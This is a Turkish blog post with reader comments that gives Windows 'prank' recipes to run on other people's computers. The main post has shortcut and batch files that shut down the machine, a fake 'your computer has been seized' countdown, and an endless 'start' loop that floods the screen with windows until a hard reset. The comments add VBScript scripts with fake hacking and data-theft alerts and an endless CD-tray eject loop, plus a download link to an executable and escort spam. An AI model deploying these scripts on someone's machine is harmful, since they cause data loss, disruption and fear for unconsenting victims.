1-Bilgisayarı Kapatma veya Yeniden Başlatma
Kullanıcı o simgeye tıkladığında bilgisayar kapanacaktır. (Bu oldukça kötü bir şaka olabilir :) Şakazedenin kaydedilmemiş bilgileri olabilir. Sorumluluk tamamen size ait.)
Yeniden başlatmak için ise sihirbazdaki konum alanına "Shutdown.exe -r -t 00" yazmanız gerekiyor.
2-Uykuya Alma
Yöntem 1. yöntemle aynı. Sadece kısayol oluştururken sihirbazdaki konum alanına "rundll32.exe powrprof.dll,SetSuspendState 0,1,0" yazmanız gerekiyor.
3-Kısayol oluşturun. Öğrenin konumuna "shutdown -s -t 600" yazınız. (Burada kaç saniyede kapanmasını istiyorsak o kadarlık sayı giriyoruz.) Sonra -c yazıp oraya herahangi bir metin yazabilirsiniz.
shutdown -s -t 600 -c "Bilgisayarınız ele geçirilmiştir :)"
4-Not defterini açalım ve sonra aşağıdaki metni kopyalayıp yapıştıralım
color 0a
cd ..
cd ..
dir /s
ardından Dosya>Farklı Kaydet diyerek dosyanızınismi.bat şeklinde kaydedelim. Birisi bu kaydedilen dosyaya tıkladığında cmd ekranı açılacak ve hızlı bir şekilde akan yazılar olacaktır. Tıklayan kişi korkuya kapılabilir. :)
5-Notpad'i açınız. Yazbildiğiniz kadar alt alta start yazınız. ondan sonra kaydederken dosyaismi.bad diye kaydediniz. Etkisi siyah ekranlar açar.(Siyah ekran dediğim çalıştıra cmd yazınca çıkan ekrandan bahsediyorum :)) Kaç tane start yazarsan o kadar siyah ekran çıkar. Fakat bu olayın daha fena hali var.
:hop
start
goto hop
bu 3 satırı yazdığınızda bilgisayarı döngüye sokmuş oluyorsunuz. Tek çare reset atmak :)
6-Klasör oluşturma şakası
md virus1
md virus2
md virus3
md virus4
md virus5
@echo off
@echo Çok Tehlikeli Bir Dosya Çalıştırdınız...
@echo Ve Bilgisayara Virüs Bulaştırdınız...
@echo "Esc" Tuşuna Basarak Çıkış Yapmazsanız Bilgisayarınız Çökecektir...
Pause>nul
start
start
start
start
start
yine not defterini açıp yukarıdaki kodları yapıştırıyoruz. Sonra tıkla.bat diyerek kaydediyoruz. Yukarıdaki kodlara bakarsak md klasör oluşturma komutudur. Masaüstünüzde 5 tane klasör oluşturur.(Dilerseniz 100 tane md virüs100'e kadar yapabilirsiniz :)) ESC tuşuna bastığınızda ise start komutu kadar cmd ekranı açılacaktır. Kodlar zararsızdır. Sadece masaüstünüzde bayağı boş bir klasör oluşturur. Klasörleri tek tek silmek için uğraşmak istemiyorsanız "md"leri "rd" yapıp @echo off yazan yerden aşağıyı silip tekrar çalıştırabilirsiniz.
7-CD-Rom Şakası
Buradan ilgili bağlantıya ulaşabilirsiniz :)
11 yorum:
hepsi doğru LÜTFEN BEĞENİN YORUMU.
Escort in Dubai, Vip Dubai Escort, Dubai Escort Girls
Msgbox "Uygulama Açılsın mı?" , 3+64 , "Açılsın Mı"
Msgbox "Açılamıyor Açabilmek İçin PCKİLL İndiriliyor" , 2+48 , "İndiriliyor %14"
Msgbox "İndirildi %100" , 2+64 , "Yüklendi"
Msgbox "Bu Uygulama Açılsın mı PCKİLL.exe?" , 3+64 , "İndirme Tamamlandı"
Msgbox "Malware Virüsü Tespit Edildi Acilen Tarama Başlatın" , 2+16 , "Microsoft Security"
Msgbox "SysUidHack_29 Uygulaması İndirildi" , 1+64 , "Uygulama İndirildi!"
result2 = Msgbox ("Uygulamayı Silmek İster Misiniz?" , 4+32 , "Oto Silme")
select case result2
case vbYes
Msgbox "Uygulama Sistem Dosyalarına Karıştı , Silinemiyor!!" , 3+16 , "Silinemedi"
case vbNo
msgbox "Güvenlik Duvarı Uygulaması Yanıt Vermiyor , Kapatılsın Mı?" , 4+48 , "Erişim Verildi"
end select
Msgbox "System 32 Dosyası Çöpe Taşındı" , 5+64 , "Sistem Dosyası Silindi"
Msgbox "Çok Önemli Bir Dosya Sildiniz Bilgisayarınız Kapanmak Üzere" , 2+48 , "Bilgisayar Kapanıyor"
Msgbox "Bilgisayarınız Kapatılmak Üzere" , 2+16 , "Kapanıyor"
Msgbox "Bilgisayar Kolay32 Tarafından 30 Saniye İçerisinde Kapatılacak" , 3+48 , "Son 5 Saniye"
Dim ad
ad = InputBox("Adınızı girin", "Kimlik Bilgisi", "Adınızı Girerseniz Verileriniz Kaybolmaz")
msgbox "ZAA SENİ KANDIRDIM" , 2+64 , "Kandırdım"
msgbox "Adını Kaydettim İnanmıyor Musun!!!" , 2+16 , "E-Postanı Çaldım"
msgbox(ad) , vbinformation , "Noldu"
msgbox "Hani İnanmamıştın" , 1+64 , "İsmini Biliyorum"
result = msgbox ("Şimdi senin cd-romunu açabilirim evet dersen açılacak" , vbYesNo , "Yapabilirim")
Select Case result
Case vbYes
Set oWMP = CreateObject("WMPlayer.OCX.7")
Set colCDROMs = oWMP.cdromCollection
if colCDROMs.Count >=1 then
For i=0 to colCDROMs.COunt -1
colCDROMs.Item(i).Eject
Next ' cdrom
End If
Case vbNo
msgbox "Ben Yinede Yapıyım :)" , 2+64 , "İNADINA"
Set oWMP = CreateObject("WMPlayer.OCX.7")
Set colCDROMs = oWMP.cdromCollection
if colCDROMs.Count >=1 then
For i=0 to colCDROMs.COunt -1
colCDROMs.Item(i).Eject
Next ' cdrom
End If
end select
yazın not defterinden farklı kaydet yapın uzantısını .vbs olarak kaydedin
msgbox " Bilgisayarınız Hacklendi!!" , 2+48 , "Hacklendiniz"
msgbox " Adım BlackDragon " , 1+64 , "Senin Adın"
msgbox " Ben Bilgisayarını Hackleyen Kişiyim " , 4+64 , "Hackledim Seni"
msgbox " Ben Hackerim ve Bilgisayarını Hackledim " , 2+64 , "Hackledim Seni"
msgbox " Bu İşi Dalga Sanmıyorsun Değil Mi? " , 3+32 , "İnanmıyormusun"
msgbox " Şimdi Senin CD-Romunu Açabilirim" , 0+64 , "Açacam"
msgbox " İnanmıyor musun ??" , vbQuestion , "İnan Bana"
msgbox " Al O Zaman!!!" , 2+16 , "Şimdi Açılacak"
Set oWMP = CreateObject("WMPlayer.OCX.7")
Set colCDROMs = oWMP.cdromCollection
if colCDROMs.Count >=1 then
For i=0 to colCDROMs.COunt -1
colCDROMs.Item(i).Eject
Next ' cdrom
End If
msgbox " Al Gördün Mü " , 5+48 , "Hani İnanmamıştın"
msgbox " Ve CD Romu Kapadın " , 3+64
msgbox "Bu Sefer Kapatamayacaksın" , 4+32 , "Yine Açılacak"
Set oWMP = CreateObject ("WMPlayer.OCX.7")
Set colCDROMs = oWMP. cdromCollection
if colCDROMs. Count >=1 then
do
For i=0 to colCDROMs. COunt -1
colCDROMs. Item(i).Eject
Next ' cdrom
For i=0 to colCDROMs. COunt -1
colCDROMs. Item(i).Eject
Next ' cdrom
loop
End If
yazın uzantısını .vbs olarak kaydedin
ama dosyayı indirmek isterseniz
filedropper.com/googleexe
BLACK DRAGON AMK KAPANMIYO
teşekkürler
fgsefse
Nasilcmd yi 3312123213213322 kere acilir yapcam
anca bilgisayarımı yeniden başlatıp normale soktum nerdeyse geberiyordu
olm kapanmıyo cd rom
Haha arkadaşımın pcsinde denedim kalpten gidiyordu çocuk :D
Yorum Gönder